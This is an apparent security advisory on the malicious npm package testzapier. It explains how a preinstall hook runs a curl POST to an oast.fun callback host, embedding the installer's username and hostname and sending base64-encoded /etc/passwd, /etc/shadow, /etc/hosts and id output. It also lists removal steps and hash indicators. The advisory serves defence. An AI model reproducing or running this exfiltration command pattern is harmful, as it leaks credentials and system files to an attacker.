Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

testzapiernpm

Malicious code in testzapier (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5575
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall testzapier

What this malware does

package.json declares a preinstall hook (node index.js) that fires automatically on npm install. index.js spawns a shell that runs curl -X POST against http://kpfdtycruuyszysbsjtoj9al6djfqrtve.oast.fun/noderedactedsdk/$(whoami)/$(hostname)/, embedding the installer's username and hostname in the URL path. The User-Agent header carries a base64-encoded blob containing the contents of /etc/passwd, /etc/hosts, /etc/shadow (when readable as root), and the output of id. The destination is an interactsh/oast.fun OOB-callback subdomain, plain HTTP, with no relationship to any documented package purpose. Installer harm is direct and unconditional: any machine running npm install testzapier leaks host identity and local-account/secret-file contents to the attacker.

Malicious versions

2 flagged
1.0.01.0.1

Indicators of compromise (SHA-256)

045f2a9515d6ea6e0d97f528486c1ed7ffb6626ae018c414b5842ba2db15fac1
a5840f2a3b34d7f32de7243a146ecf85ac875bd1ef09b0ba9a395d08e356084f

Frequently asked questions

No. testzapier on npm has been identified as a malicious package (versions 1.0.0, 1.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005461IN-MAL-2026-005460

References

Credits

  • Amazon Inspector · finder

Scan your dependencies

O3 Security blocks malicious packages like this at install time and in CI.

Supply-chain protection
testzapier (npm) malicious package — MAL-2026-5575 | O3 Security